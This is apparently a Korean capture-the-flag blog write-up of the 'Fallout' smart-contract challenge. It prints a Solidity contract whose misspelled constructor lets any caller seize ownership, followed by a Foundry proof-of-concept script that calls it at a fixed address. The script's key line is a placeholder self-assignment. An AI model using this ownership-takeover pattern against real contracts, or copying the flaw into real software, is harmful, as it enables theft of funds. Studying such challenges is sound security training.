// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import "openzeppelin-contracts-06/math/SafeMath.sol";

contract Fallout {
    using SafeMath for uint256;

    mapping(address => uint256) allocations;
    address payable public owner;

    /* constructor */
    function Fal1out() public payable {
        owner = msg.sender;
        allocations[owner] = msg.value;
    }

    modifier onlyOwner() {
        require(msg.sender == owner, "caller is not the owner");
        _;
    }

    function allocate() public payable {
        allocations[msg.sender] = allocations[msg.sender].add(msg.value);
    }

    function sendAllocation(address payable allocator) public {
        require(allocations[allocator] > 0);
        allocator.transfer(allocations[allocator]);
    }

    function collectAllocations() public onlyOwner {
        msg.sender.transfer(address(this).balance);
    }

    function allocatorBalance(address allocator) public view returns (uint256) {
        return allocations[allocator];
    }
}

PoC

Fal1out 함수 호출하면 됩니다.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import {Script, console} from "forge-std/Script.sol";
interface IFallout{
    function Fal1out() external payable;
}
contract exploit is Script {
    function run() public {
        uint pk = pk;
        vm.startBroadcast(pk);
        IFallout target = IFallout(0x2AA05E277f1967DE4a78529ECf610f0F9c36d00A);
        target.Fal1out();
        vm.stopBroadcast();
    }
}

 

 

'wargame' 카테고리의 다른 글

Coinflip  (0) 2024.11.13
Telephone  (0) 2024.11.13
Token  (0) 2024.11.13
Vault  (0) 2024.11.13
King  (0) 2024.11.13

+ Recent posts